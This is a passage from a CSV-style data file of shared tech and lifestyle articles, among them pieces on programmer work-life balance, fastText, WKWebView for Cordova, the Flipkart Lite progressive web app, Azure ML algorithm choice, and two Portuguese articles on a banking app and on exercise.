pushing events onto from multiple threads. Read a more indepth explanation . For now, you can checkout out the code from the repo as we continue this long post in Part II . Please enable JavaScript to view the",en
1471607487,CONTENT SHARED,2417383163258637695,7645894863578715801,5690372062060589522,,,,HTML,https://m.signalvnoise.com/eat-sleep-code-repeat-is-such-bullshit-c2a4d9beaaf5?gi=699b51bde52c,"""Eat, sleep, code, repeat"" is such bullshit - Signal v. Noise","I'm on my way back home from Google I/O 2016. It was a fantastic conference - I met some great people and learned a lot. But while I was there, I saw something horrifying, something I couldn't shake from the moment I saw it... ""Eat. Sleep. Code. Repeat."" was printed on everything. I'd seen the phrase before, but this time it burned into my brain, probably because it was being so actively marketed at a large conference. I literally let out an ""ugh"" when I saw it. What's the big deal? It's just a shirt. Look, I get it - Google I/O is a developer conference, and the ""eat, sleep, code, repeat"" phrase is intended to be a clever way (albeit a completely unoriginal one) of saying ""coding is awesome and we want to do it all the time!"" I appreciate the enthusiasm, I do. But there's a damaging subtext, and that's what bothers me. The phrase promotes an unhealthy perspective that programming is an all or nothing endeavor - that to excel at it, you have to go all in. It must be all consuming and the focus of your life. Such bullshit. In fact it's the exact opposite. At Basecamp I work with some of the best programmers in the world. It's no coincidence that they all have numerous interests and talents far outside of their programming capabilities. Whether it's racing cars, loving art, reading, hiking, spending time in nature, playing with their dog, running, gardening, or just hanging out with their family, these top-notch programmers love life outside of code. That's because they know that a truly balanced lifestyle - one that gives your brain and your soul some space to breathe non-programming air - actually makes you a better programmer. Life outside of code helps nurture important qualities: inspiration, creative thinking, patience, flexibility, empathy, and many more. All of these skills make you a better programmer, and you can't fully realize them by just coding. Don't believe the hype It's no secret that the tech industry loves hyperbole. How will you ever reach the coveted title of ninja, rock star, or wizard if you don't spend all your waking, non-eating hours programming?! I'll give my standard advice: ignore the hype. It's wonderful to be so dedicated to your craft that programming is all you ever want to do. I love that enthusiasm. It can carry you to great heights. But if you want to become the very best programmer you can be, make space for some non-programming activities. Let your brain stretch its legs and you might find a whole new level of flow. ��",en
1471609453,CONTENT SHARED,4102576381061107965,-1443636648652872475,5370317555391394665,,,,HTML,https://www.engadget.com/2016/08/18/facebook-open-sourcing-fasttext/,Facebook is open-sourcing its AI bot-building research,"The biggest appeal of fastText appears to be speed and efficiency. According to Facebook, fastText is, as its name suggests, much quicker than other learning methods, and can train models ""on more than 1 billion words in less than 10 minutes using a standard multicore CPU."" In fact, FAIR claims that, compared to deep learning models, fastText can cut training delays from several days to a few seconds. fastText focuses on classifying words and sentences, and produces libraries that programs can reference when executing tasks. For example, fastText can learn that the words ""boy,"" ""girl,"" ""man"" and ""woman"" refer to specific gendered nouns and store those values in a document. Then, when an AI program, like a bot, is interpreting a request, such as ""Where my girls at,"" it can look into the fastText-generated document and understand that the user is asking for female names. It's easy to see how this move makes sense for the social network. It started integrating chat bots in its Messenger app this year, and making it easier to train AI can boost the growth of third-party offerings. Considering the proliferation of AI integration in many of its competitors , such a move can also encourage developers to focus on building for Facebook's platform first. In a statement, FAIR said, ""Ultimately, we hope that fastText will help us all design better applications and further advance the research in language understanding."" Perhaps future AI developers can look to FAIR's research for help, which for now appears to be a far more sensible resource than Reddit .",en
1471611436,CONTENT SHARED,-2504825704002833401,7703284633155187943,-2923851447808802597,,,,HTML,http://blog.ionic.io/cordova-ios-performance-improvements-drop-in-speed-with-wkwebview/,Cordova iOS Performance Improvements: Drop-in Speed with WKWebView,"Here at Ionic, we believe speed is a requirement, not a feature. We take pride in being performance-obsessed, because we believe speed is key to providing a first-class user experience. Most of the apps at the top of the App Store charts all have one thing in common: They're all very fast and fluid! Ionic apps have always provided a quick, seamless experience, but we've come up with a simple way to make them even faster on iOS. Ionic apps deployed using Cordova run within low-level, bare bones web browsers called ""webviews"". Cordova utilizes each platform's native webview in order to deploy the webapp within a native app wrapper. iOS's default web browser is Safari. Behind the scenes, Safari utilizes a webview. Currently, the iOS platform provides two different webviews that can be used. There's the older (and slower) webview, called ""UIWebView"", and the latest and greatest, called ""WKWebView"". WKWebView is better and faster than UIWebView in every way. In addition to being significantly faster and smoother, Apple is actively providing updates to it in each iOS release. The Safari app takes advantage of WKWebView, which may explain why webapps seem more performant in Safari vs. within a Cordova application. Due to various incompatibilities and technical challenges, Ionic apps have been restricted to run in the several-year-old UIWebView. But today, we have some great news! One of our awesome engineers, Manu , has been working hard to bring WKWebView to Ionic apps and is working to bring the new plugin into Cordova! The new plugin will work with both Ionic V1 and Ionic V2 apps. In fact, it should work with any iOS Cordova build! So What Does This Actually Mean? You can look forward to noticeably faster and smoother Ionic apps on iOS. The new WKWebView plugin solved many of the technical challenges Cordova builds faced surrounding XHR requests and CORS, storage issues, and some DOM exceptions. This plugin upgrades the interface between native side and web, which allows CORS to work properly. This means XHR requests that point to file: are intercepted and redirected, while leaving normal XHR requests to flow the normal path. Not only that, but WKWebView comes with a massive reduction in RAM usage, faster startup, JIT JavaScript compilation, out-of-process rendering, reduced memory usage, improved stability, better security, up-to-date web standards, etc. According to our tests, our conference app example went from 160MB of RAM to 20MB with WKWebview. ""The biggest change is in stability: with WKWebView's out-of-process rendering, when the web view crashes or runs out of memory, it won't bring down all of Chrome with it. As a result, Chrome crashes 70% less with WKWebView."" - Chromium Blog We think it's ready for the Ionic community to begin testing it and help us identify any bugs. The best part is this is a drop-in replacement. No app code needs to be changed! To install the plugin and begin testing, follow these instructions . The plugin takes about one minute to install and should not impact end users beyond performance improvements. We would love for everyone to test out their apps with the new plugin, and let us know how it goes. We'd like to resolve any issues that arise ASAP. We're very excited about this plugin and think it will provide an immediately noticeable performance increase in Ionic apps deployed to iOS. We encourage developers to test and experiment with this plugin, but we recommend avoiding production use until a stable version is released and any security concerns are further addressed. We're very appreciative of the Ionic community for helping us test out this new and improved functionality. We hope you love it! Thank you! A Note on Cordova Going forward, we're going to be ramping up our contributions to crucial pieces of the Cordova ecosystem. We recently released two new plugins, have been reviewing the existing ecosystem that we're supporting through Ionic Native , and have a dedicated person on the team working on Cordova plugins and features like WKWebView. We believe the Cordova ecosystem's best days are ahead of it, and we recognize the responsibility we have in contributing back and making sure that stability and performance are constantly pushed as new technologies like WKWebView are made available. We are making an investment in improving the pieces around Ionic and working with the wonderful Cordova community to make sure our work has the biggest possible impact. Related Links",en
1471616205,CONTENT SHARED,549631724393582960,4142810830429822977,-2268105302733806201,,,,HTML,http://www.ciostory.com/cxo-perspectives/optimize-your-agile-growth-strategy-with-cloud,Optimize Your Agile Growth Strategy with Cloud,"It was Thomas Edison who said, ""Genius is 1% inspiration and 99% perspiration."" As a man with over 2,000 patents worldwide to his name, we can all agree that he knew a thing or two about inspiration. And if you ever visit the museum housed in his old New Jersey workshop, you can witness the cornucopia of ideas that he generated and begin to appreciate exactly what he meant by ""perspiration"". Simply put, the pathway to genius is paved with a vast amount of ideas that was built and tested using the right tools. In our modern-day digital economy, we call this strategy Agile Growth and one of our preferred tools is the Cloud. Digital transformation as a journey Over the past 20+ years, we've worked with companies such as Coca-Cola, Motorola, and Pfizer, to name a few. We've helped them transform their businesses in remarkable ways; and I can assure you that this process requires iterative learning. That's why we describe the digital transformation process as a journey rather than a final destination. As we reported in our recent e-book, Igniting Your Agile Growth Strategy, this journey is really ""shared with your customers, all of whom expect a seamless experience. There are also myriad steps to consider-from the initial leap into the digital realm, to remaining agile and adaptive as business strategies evolve."" And of course, we can't underestimate the importance of efficiency. Whenever you're testing new ideas, it's critical to test more products both efficiently and cheaply. The net result is that by managing your resources, you're in a better position to do more. This is also why we embrace the Cloud as an essential tool for innovating. By using this architecture, and mostly PaaS, which provides an even higher abstraction level, we can cut infrastructure costs drastically and reduce app development efforts (and thereby costs). Now we've freed up resources to execute 10 times more experiments than the traditional data center model. Ultimately, it allows companies to put their innovation in the fast lane while adapting quickly and nimbly whenever necessary. Cloud as a growth enabler To illustrate how companies are using the Cloud to enable growth, let's consider Snapchat, which was built on Google App Engine four years ago and still lives there today. By some accounts, Snapchat has 150 million daily users, yet it still uses Google's Cloud service. Why? The answer is actually quite simple. For a startup, the initial investment was reasonable. Scaling up as demand increases is also a fairly simple undertaking. In fact, Snapchat claims that it hasn't experienced any outages during its spectacular growth. Fast, cheap and good. Pick three Notwithstanding the meteoric rise of companies like Snapchat, most companies won't need to accommodate 150 million users each day. But doing more with less is always a priority, especially when it comes to innovating. In IT, there's a saying: ""Fast, cheap and good. Pick Two."" But today with Cloud services from the likes of Google or Amazon, you can actually pick all three. So when you're testing your ideas in controlled environments-or sandboxes-you can focus your energy on validating your hypothesis rather than managing servers and the often complex infrastructure necessary to make these digital products a reality. There are also considerable security advantages to using Notwithstanding the news stories about hacking and data breaches are always disconcerting, the vast majority of servers don't get hacked. Furthermore, companies like Google have several hundred security engineers monitoring their servers 24 hours a day. And these same engineers are constantly upgrading their security systems. Is that something you can say about your servers? Probably not. In all likelihood, if your company has its own servers, you're probably behind the curve already. ""To invent, you need a good imagination and a pile of junk."" ~ Thomas Edison In my experience, there is no shortage of ideas in the corporate world, but there is a severe restriction on the ability to execute them. If we want to innovate like Edison, we must substantially increase our ability to give life to ideas...tons of ideas. It is the only way we can reasonably expect that a few of them will truly make a difference. The Cloud is a resource that you just cannot afford to leave out of your toolbox for today's ever-transforming business environment.",en
1471623409,CONTENT SHARED,-2440247087447106971,-7611460419696903236,8699291783730431926,,,,HTML,http://startupi.com.br/2016/08/itau-segue-tendencia-das-fintechs-e-se-torna-primeiro-banco-tradicional-permitir-abertura-de-contas-por-app/,Itaú segue tendência das fintechs e se torna primeiro banco tradicional a permitir abertura de contas por app - Startupi,"O banco Itaú lançou esta semana o Abreconta , aplicativo que permite abertura de contas de forma 100% digital. Assim como acontece com outras fintechs que não têm agências físicas, no app é possível enviar todos os dados para se tornar novo correntista, inclusive enviar os documentos necessários por foto, pelo próprio celular. A novidade foi anunciada por Marco Bonomi, diretor de varejo do Itaú Unibanco, em evento da Fenabrave. Por enquanto, o aplicativo está disponível apenas para smarphones iOS, mas em breve usuários de Android também poderão baixar. ""O Itaú já iniciou os testes com um grupo de clientes para oferecer a possibilidade de abertura de conta corrente de forma 100% online. O banco já disponibilizou o programa em uma loja de aplicativos e em breve o serviço estará disponível"", disse o diretor para o Startupi. Segundo informações do Estadão Conteúdo, com este lançamento o Itaú se torna o primeiro grande banco a seguir a resolução do Banco Central nº 4.480, que permite que contas-corrente passem a ser abertas por meio eletrônico, sem a necessidade de comparecer a uma agência bancária. Segundo Marco Bonomi, operações do banco junto a clientes digitais já somam cerca de 45% do resultado do varejo do Itaú, o que torna este segmento o principal gerador de lucro do banco.",pt
1471632796,CONTENT SHARED,3142843830268077617,7645894863578715801,5690372062060589522,,,,HTML,https://medium.com/@AdityaPunjani/building-flipkart-lite-a-progressive-web-app-2c211e641883,Building Flipkart Lite: A Progressive Web App,"Building Flipkart Lite: A Progressive Web App There have been a few turning points in the history of the web platform that radically changed how web apps were built, deployed and experienced. Ajax was one such pivot that led to a profound shift in web engineering and user experience. It allowed web applications to be responsive enough to challenge the conventional desktop apps. The same shift is now underway on mobile where web apps can finally be as performant, immersive, and engaging as native apps. With the adoption of Extensible Web Manifesto browser vendors started introducing new low-level APIs based on the feedback from developers. Low-level APIs enable developers to build new libraries, frameworks and tools on top of them instead of having to rely on high-level generalised APIs. The advent of these APIs brings unprecedented capabilities to the web. We at Flipkart decided to live on this bleeding edge and build a truly powerful and technically advanced web app while working to further evolve these APIs. Here's a look at how we've created an extremely Immersive, Engaging and a High-Performance Secure app. Immersive Web Apps have an instant and always updated distribution. However, there are too many variables with network connectivity that impede us from a providing a seamless experience. There have been multiple attempts at enabling offline web apps in the past, such as AppCache and using LocalStorage/ IndexedDB. However, these solutions failed to model complex offline use cases described below, making it painful to develop and debug issues. Service Workers replace these approaches by providing a scriptable network proxy in the browser that allows you to handle the requests programmatically. Service Workers can be scripted to intercept every network request and serve a response from cache even when the user is offline. We chose to use SW-Toolbox , a Service Workers wrapper library that enables using simple patterns such as NetworkFirst, CacheFirst or NetworkOnly. SW-Toolbox provides an LRU cache used in our app for storing previous search results on the browse page and last few visited product pages. The toolbox also has TTL-based cache invalidation mechanism that we use to purge out of date content. Service Workers provide low-level scriptable primitives that make this possible. Making the right solution work was as hard as devising it. We faced a wide spectrum of challenges from implementation issues to dev tooling bugs. We are collaborating with browser vendors to resolve these challenges and are actively contributing to SW-Toolbox . One significant learning that emerged from our use of Service Workers was to build a ""kill switch"". It is easy to end up with bugs in Service Workers and stale responses. Having a reliable mechanism to purge all caches has helped us to be proactively ready for any contingencies or surprises. Another cornerstone of a truly immersive experience is a fullscreen, standalone experience launched right from the home screen. This is what the Add to Home Screen (A2HS) prompt allows us to do. When the user chooses to add to home screen, the browser creates a high-quality icon on the home screen based on the metadata in the Web Manifest . The A2HS prompt is shown automatically to the user based on a heuristic that is specific to each browser. On Chrome, if the user has visited the site twice within a defined period, the prompt will trigger. In the newer Chrome versions, the prompt can be invoked programmatically . While the heuristic is indispensable to prevent spam on the web platform, we felt it was too conservative and convinced the Chrome team to tweak the heuristic for more commonly occurring scenarios. Based on our feedback, experiments are underway by the Chrome team to shorten the required delay between visits to the web app. Pro Tip: While developing for Add To Home Screen, you can disable the heuristic on Chrome by visiting the chrome://flags and enabling Bypass user engagement checks The latest version of Chrome supports the generation of a splash screen that shows up when the web app is launched from the home screen. It seamlessly fades in on the first paint of the app. This radically improves the launch experience and perceived performance. Engaging Being able to re-engage with our users on the web has always been a challenge. With the introduction of the Web Push API , we now have the capability to send Push Notifications to our users, even when the browser is closed. This is possible because Service Workers can be restarted even when no tab is open, allowing push events to deliver notifications to the users. High Performance Our focus was on two primary areas: Network and Rendering Performance. The app architecture is simply static HTML shells + API data. We pre-render the shells on server side during build time with critical CSS inlined. This leads to a quick first paint without waiting on CSS or JS to load. Once the async JS is loaded, API calls for data are made which fill in the content of the shells. With Service Workers, data consumption from the network can be reduced significantly by responding to requests from the cache. HTML shells are always served from the cache first and updated asynchronously in the background. This approach also helped in reducing the dependency on the network strength and eliminating all latencies on a repeat visit. On the client-side, Flipkart Lite is Single Page App based on React.js and our in-house Flux implementation Phrontend.js which is has been open sourced. Rendering Performance has always been a challenge for the web. We identified significant improvements in performance when GPU handled rasterization compared to CPU. Hence, we decided to leverage GPU rasterization on Chrome ( Project Ganesh ), by including the required meta tag in our HTML. The key is to avoid SVGs in performance-critical paths. SVGs being vectors, cannot leverage the same GPU optimizations currently. However, on latest Chrome versions this should be fixed. On the other hand, we have carefully balanced the right number of GPU-accelerated layers by measuring composition vs. paint costs. Thirdly, we're using GPU friendly animations namely Opacity and Transform transitions. Profiling on various mobile devices using Chrome Dev Tools Timeline panel and Chrome Tracing , helped us identify multiple bottlenecks and optimization paths. This helped us make the best of each frame during an animation and reach our 60fps target. We use the RAIL model for our performance budgets and strive to match and exceed expectations on each of the metrics. Secure End-to-end HTTPS encryption ensures a secure browsing session for our users. We also use Content Security Policy as an added layer of security against XSS and data injection attacks. All of this put together, manifested into a stellar experience for our users. It's been a remarkable journey building this web app, working with browser vendors and pushing the limits of web platform on mobile. The revolution is here and its time for developers to start leveraging these incredible new capabilities. The web is truly what you make of it, and we have only just begun. Introducing the Flipkart Lite Team -  Abhinav Rastogi , Boopathi Rajaa , Jai Santhosh , Abinash Mohapatra , Epuri , Karan Peri , Bharat KS , Baisampayan Saha , Mohammed Bilal , Ayesha Rana , Suvonil Chatterjee , Akshay Rajwade and Amar Nagaram",en
1471632911,CONTENT SHARED,444378495316508239,-1032019229384696495,3065443139908774407,,,,HTML,https://azure.microsoft.com/en-us/documentation/articles/machine-learning-algorithm-choice/,How to choose algorithms for Microsoft Azure Machine Learning,"The answer to the question ""What machine learning algorithm should I use?"" is always ""It depends."" It depends on the size, quality, and nature of the data. It depends what you want to do with the answer. It depends on how the math of the algorithm was translated into instructions for the computer you are using. And it depends on how much time you have. Even the most experienced data scientists can't tell which algorithm will perform best before trying them. The Machine Learning Algorithm Cheat Sheet The Microsoft Azure Machine Learning Algorithm Cheat Sheet helps you choose the right machine learning algorithm for your predictive analytics solutions from the Microsoft Azure Machine Learning library of algorithms. This article walks you through how to use it. This cheat sheet has a very specific audience in mind: a beginning data scientist with undergraduate-level machine learning, trying to choose an algorithm to start with in Azure Machine Learning Studio. That means that it makes some generalizations and oversimplifications, but it will point you in a safe direction. It also means that there are lots of algorithms not listed here. As Azure Machine Learning grows to encompass a more complete set of available methods, we'll add them. These recommendations are compiled feedback and tips from a lot of data scientists and machine learning experts. We didn't agree on everything, but I've tried to harmonize our opinions into a rough consensus. Most of the statements of disagreement begin with ""It depends..."" How to use the cheat sheet Read the path and algorithm labels on the chart as ""For <path label> use <algorithm> ."" For example, ""For speed use two class logistic regression ."" Sometimes more than one branch will apply. Sometimes none of them will be a perfect fit. They're intended to be rule-of-thumb recommendations, so don't worry about it being exact. Several data scientists I talked with said that the only sure way to find the very best algorithm is to try all of them. Here's an example from the Cortana Intelligence Gallery of an experiment that tries several algorithms against the same data and compares the results: Compare Multi-class Classifiers: Letter recognition . Flavors of machine learning Supervised Supervised learning algorithms make predictions based on a set of examples. For instance, historical stock prices can be used to hazard guesses at future prices. Each example used for training is labeled with the value of interest-in this case the stock price. A supervised learning algorithm looks for patterns in those value labels. It can use any information that might be relevant-the day of the week, the season, the company's financial data, the type of industry, the presence of disruptive geopolicitical events-and each algorithm looks for different types of patterns. After the algorithm has found the best pattern it can, it uses that pattern to make predictions for unlabeled testing data-tomorrow's prices. This is a popular and useful type of machine learning. With one exception, all of the modules in Azure Machine Learning are supervised learning algorithms. There are several specific types of supervised learning that are represented within Azure Machine Learning: classification, regression, and anomaly detection. Classification . When the data are being used to predict a category, supervised learning is also called classification. This is the case when assigning an image as a picture of either a 'cat' or a 'dog'. When there are only two choices, this is called two-class or binomial classification . When there are more categories, as when predicting the winner of the NCAA March Madness tournament, this problem is known as multi-class classification . Regression . When a value is being predicted, as with stock prices, supervised learning is called regression. Anomaly detection . Sometimes the goal is to identify data points that are simply unusual. In fraud detection, for example, any highly unusual credit card spending patterns are suspect. The possible variations are so numerous and the training examples so few, that it's not feasible to learn what fraudulent activity looks like. The approach that anomaly detection takes is to simply learn what normal activity looks like (using a history non-fraudulent transactions) and identify anything that is significantly different. Unsupervised In unsupervised learning, data points have no labels associated with them. Instead, the goal of an unsupervised learning algorithm is to organize the data in some way or to describe its structure. This can mean grouping it into clusters or finding different ways of looking at complex data so that it appears simpler or more organized. Reinforcement learning In reinforcement learning, the algorithm gets to choose an action in response to each data point. The learning algorithm also receives a reward signal a short time later, indicating how good the decision was. Based on this, the algorithm modifies its strategy in order to achieve the highest reward. Currently there are no reinforcement learning algorithm modules in Azure Machine Learning. Reinforcement learning is common in robotics, where the set of sensor readings at one point in time is a data point, and the algorithm must choose the robot's next action. It is also a natural fit for Internet of Things applications. Considerations when choosing an algorithm Accuracy Getting the most accurate answer possible isn't always necessary. Sometimes an approximation is adequate, depending on what you want to use it for. If that's the case, you may be able to cut your processing time dramatically by sticking with more approximate methods. Another advantage of more approximate methods is that they naturally tend to avoid overfitting . Training time The number of minutes or hours necessary to train a model varies a great deal between algorithms. Training time is often closely tied to accuracy-one typically accompanies the other. In addition, some algorithms are more sensitive to the number of data points than others. When time is limited it can drive the choice of algorithm, especially when the data set is large. Linearity Lots of machine learning algorithms make use of linearity. Linear classification algorithms assume that classes can be separated by a straight line (or its higher-dimensional analog). These include logistic regression and support vector machines (as implemented in Azure Machine Learning). Linear regression algorithms assume that data trends follow a straight line. These assumptions aren't bad for some problems, but on others they bring accuracy down. Non-linear class boundary - relying on a linear classification algorithm would result in low accuracy Data with a nonlinear trend - using a linear regression method would generate much larger errors than necessary Despite their dangers, linear algorithms are very popular as a first line of attack. They tend to be algorithmically simple and fast to train. Number of parameters Parameters are the knobs a data scientist gets to turn when setting up an algorithm. They are numbers that affect the algorithm's behavior, such as error tolerance or number of iterations, or options between variants of how the algorithm behaves. The training time and accuracy of the algorithm can sometimes be quite sensitive to getting just the right settings. Typically, algorithms with large numbers parameters require the most trial and error to find a good combination. Alternatively, there is a parameter sweeping module block in Azure Machine Learning that automatically tries all parameter combinations at whatever granularity you choose. While this is a great way to make sure you've spanned the parameter space, the time required to train a model increases exponentially with the number of parameters. The upside is that having many parameters typically indicates that an algorithm has greater flexibility. It can often achieve very good accuracy. Provided you can find the right combination of parameter settings. Number of features For certain types of data, the number of features can be very large compared to the number of data points. This is often the case with genetics or textual data. The large number of features can bog down some learning algorithms, making training time unfeasibly long. Support Vector Machines are particularly well suited to this case (see below). Special cases Some learning algorithms make particular assumptions about the structure of the data or the desired results. If you can find one that fits your needs, it can give you more useful results, more accurate predictions, or faster training times. Algorithm properties: ● - shows excellent accuracy, fast training times, and the use of linearity ○ - shows good accuracy and moderate training times Algorithm notes Linear regression As mentioned previously, linear regression fits a line (or plane, or hyperplane) to the data set. It's a workhorse, simple and fast, but it may be overly simplistic for some problems. Check here for a linear regression tutorial . Data with a linear trend Logistic regression Although it confusingly includes 'regression' in the name, logistic regression is actually a powerful tool for two-class and multiclass classification. It's fast and simple. The fact that it uses an 'S'-shaped curve instead of a straight line makes it a natural fit for dividing data into groups. Logistic regression gives linear class boundaries, so when you use it, make sure a linear approximation is something you can live with. A logistic regression to two-class data with just one feature - the class boundary is the point at which the logistic curve is just as close to both classes Trees, forests, and jungles Decision forests ( regression , two-class , and multiclass ), decision jungles ( two-class and multiclass ), and boosted decision trees ( regression and two-class ) are all based on decision trees, a foundational machine learning concept. There are many variants of decision trees, but they all do the same thing-subdivide the feature space into regions with mostly the same label. These can be regions of consistent category or of constant value, depending on whether you are doing classification or regression. A decision tree subdivides a feature space into regions of roughly uniform values Because a feature space can be subdivided into arbitrarily small regions, it's easy to imagine dividing it finely enough to have one data point per region-an extreme example of overfitting. In order to avoid this, a large set of trees are constructed with special mathematical care taken that the trees are not correlated. The average of this ""decision forest"" is a tree that avoids overfitting. Decision forests can use a lot of memory. Decision jungles are a variant that consumes less memory at the expense of a slightly longer training time. Boosted decision trees avoid overfitting by limiting how many times they can subdivide and how few data points are allowed in each region. The algorithm constructs a sequence of trees, each of which learns to compensate for the error left by the tree before. The result is a very accurate learner that tends to use a lot of memory. For the full technical description, check out Friedman's original paper . Fast forest quantile regression is a variation of decision trees for the special case where you want to know not only the typical (median) value of the data within a region, but also its distribution in the form of quantiles. Neural networks and perceptrons Neural networks are brain-inspired learning algorithms covering multiclass , two-class , and regression problems. They come in an infinite variety, but the neural networks within Azure Machine Learning are all of the form of directed acyclic graphs. That means that input features are passed forward (never backward) through a sequence of layers before being turned into outputs. In each layer, inputs are weighted in various combinations, summed, and passed on to the next layer. This combination of simple calculations results in the ability to learn sophisticated class boundaries and data trends, seemingly by magic. Many-layered networks of this sort perform the ""deep learning"" that fuels so much tech reporting and science fiction. This high performance doesn't come for free, though. Neural networks can take a long time to train, particularly for large data sets with lots of features. They also have more parameters than most algorithms, which means that parameter sweeping expands the training time a great deal. And for those overachievers who wish to specify their own network structure , the possibilities are inexhaustible. The boundaries learned by neural networks can be complex and irregular The two-class averaged perceptron is neural networks' answer to skyrocketing training times. It uses a network structure that gives linear class boundaries. It is almost primitive by today's standards, but it has a long history of working robustly and is small enough to learn quickly. SVMs Support vector machines (SVMs) find the boundary that separates classes by as wide a margin as possible. When the two classes can't be clearly separated, the algorithms find the best boundary they can. As written in Azure Machine Learning, the two-class SVM does this with a straight line only. (In SVM-speak, it uses a linear kernel.) Because it makes this linear approximation, it is able to run fairly quickly. Where it really shines is with feature-intense data, like text or genomic. In these cases SVMs are able to separate classes more quickly and with less overfitting than most other algorithms, in addition to requiring only a modest amount of memory. A typical support vector machine class boundary maximizes the margin separating two classes Another product of Microsoft Research, the two-class locally deep SVM is a non-linear variant of SVM that retains most of the speed and memory efficiency of the linear version. It is ideal for cases where the linear approach doesn't give accurate enough answers. The developers kept it fast by breaking the problem down into a bunch of small linear SVM problems. Read the full description for the details on how they pulled off this trick. Using a clever extension of nonlinear SVMs, the one-class SVM draws a boundary that tightly outlines the entire data set. It is useful for anomaly detection. Any new data points that fall far outside that boundary are unusual enough to be noteworthy. Bayesian methods Bayesian methods have a highly desirable quality: they avoid overfitting. They do this by making some assumptions beforehand about the likely distribution of the answer. Another byproduct of this approach is that they have very few parameters. Azure Machine Learning has both Bayesian algorithms for both classification ( Two-class Bayes' point machine ) and regression ( Bayesian linear regression ). Note that these assume that the data can be split or fit with a straight line. On an historical note, Bayes' point machines were developed at Microsoft Research. They have some exceptionally beautiful theoretical work behind them. The interested student is directed to the original article in JMLR and an insightful blog by Chris Bishop . Specialized algorithms If you have a very specific goal you may be in luck. Within the Azure Machine Learning collection there are algorithms that specialize in rank prediction ( ordinal regression ), count prediction ( Poisson regression ), and anomaly detection (one based on principal components analysis and one based on support vector machine s). And there is a lone clustering algorithm as well ( K-means ). PCA-based anomaly detection - the vast majority of the data falls into a stereotypical distribution; points deviating dramatically from that distribution are suspect A data set is grouped into 5 clusters using K-means There is also an ensemble one-v-all multiclass classifier , which breaks the N-class classification problem into N-1 two-class classification problems. The accuracy, training time, and linearity properties are determined by the two-class classifiers used. A pair of two-class classifiers combine to form a three-class classifier Azure Machine Learning also includes access to a powerful machine learning framework under the title of Vowpal Wabbit . VW defies categorization here, since it can learn both classification and regression problems and can even learn from partially unlabeled data. You can configure it to use any one of a number of learning algorithms, loss functions, and optimization algorithms. It was designed from the ground up to be efficient, parallel, and extremely fast. It handles ridiculously large feature sets with little apparent effort. Started and led by Microsoft Research's own John Langford, VW is a Formula One entry in a field of stock car algorithms. Not every problem fits VW, but if yours does, it may be worth your while to climb the learning curve on its interface. It's also available as stand-alone open source code in several languages.",en
1471639222,CONTENT SHARED,-3015446245469915661,-6611967527589759673,960655491991802890,,,,HTML,http://drauziovarella.com.br/drauzio/ai-que-preguica/,"Ai, que preguiça | Site Drauzio Varella","O corpo humano é uma máquina desenhada para o movimento. É dotado de dobradiças, músculos que formam alavancas capazes de deslocar o esqueleto em qualquer direção, ossos resistentes, ligamentos elásticos que amortecem choques, e sistemas de alta complexidade para mobilizar energia, consumir oxigênio e manter a temperatura interna constante. Em seis milhões de anos, a seleção natural se encarregou de eliminar os portadores de características genéticas que dificultavam a movimentação necessária para ir atrás de alimentos, construir abrigos e fugir de predadores. Se o corpo humano fosse projetado para os usos de hoje, para que pernas tão compridas e braços tão longos? Se é só para ir de um assento a outro, elas poderiam ter metade do comprimento. Se os braços servem apenas para alcançar o teclado do computador, para que antebraços? Seríamos anões de membros atrofiados, mas com um traseiro enorme, acolchoado, para nos dar conforto nas cadeiras. A possibilidade de ganharmos a vida sem andar é aquisição dos últimos cinquenta anos. A disponibilidade de alimentos de qualidade acessíveis a grandes massas populacionais, mais recente ainda. A mesa farta e as comodidades em que viviam os nobres da antiguidade estão ao alcance da classe média, em condições de higiene bem superiores. Para quem já morou em cavernas, a adaptação a um meio com vacinas, saneamento básico, antibióticos, alimentação rica em nutrientes e tecnologia para fazer chegar a nossas mãos tudo o que necessitamos, foi imediata. Em boa parte dos países a expectativa de vida atingiu 70 anos, privilégio de poucos no tempo de nossos avós. Os efeitos adversos desse estilo de vida, no entanto, não demoraram para surgir: sedentarismo, obesidade, e seu cortejo nefasto: complicações cardiovasculares, diabetes, câncer, degenerações neurológicas, doenças reumáticas e muitas outras. Se todos reconhecem que a atividade física faz bem para o organismo, por que ninguém se exercita com regularidade? Por uma razão simples: descontadas as brincadeiras da infância, fase de aprendizado, nenhum animal desperdiça energia. Só o fazem atrás de alimento, sexo ou para escapar de predadores. Satisfeitas as três necessidades, permanecem em repouso até que uma delas volte a ser premente. Vá ao zoológico. Você verá uma onça dando um pique para manter a forma? Um chimpanzé - com quem compartilhamos 99% de nossos genes - correndo para perder a barriga? É tão difícil abandonar a vida sedentária, porque malbaratar energia vai contra a natureza humana. Os planos para andar, correr ou ir à academia naufragam no dia seguinte sob o peso dos seis milhões de anos de evolução, que desaba sobre nossos ombros. Quando você ouvir alguém dizendo que pula da cama louco de disposição para o exercício, pode ter certeza: é mentira. Essa vontade pode nos visitar num sítio ou na praia com os amigos, na rotina diária jamais. Digo por experiência própria. Há 20 anos corro maratonas, provas de 42 quilômetros que me obrigam a levantar às cinco e meia para treinar. Tenho tanta confiança na integridade de meu caráter, que fiz um trato comigo mesmo: ao acordar, só posso desistir de correr depois de vestir calção, camiseta e calçar o tênis. Se me permitir tomar essa decisão deitado na cama, cada manhã terei uma desculpa. Não há limite para as justificativas que a preguiça é capaz inventar nessa hora. Ao contrário do que os treinadores preconizam, não faço alongamento antes, já saio correndo, única maneira de resistir ao ímpeto de voltar para a cama. O primeiro quilômetro é dominado por um pensamento recorrente: ""não há o que justifique um homem passar pelo que estou passando"". Vencido esse martírio inicial, a corrida se torna suportável. Boa mesmo, só fica quando acaba. Nessa hora, a circulação inundada de endorfinas traz uma sensação de paz celestial, um barato igual ao de drogas que nunca experimentei. Por isso, caro leitor, se você está à espera da chegada da disposição física para sair da vagabundagem em 2014, tire o cavalo da chuva: ela não virá. Praticar exercícios com regularidade exige disciplina militar, a mesma que você tem na hora de ir para o trabalho. Ai, que preguiça.",pt
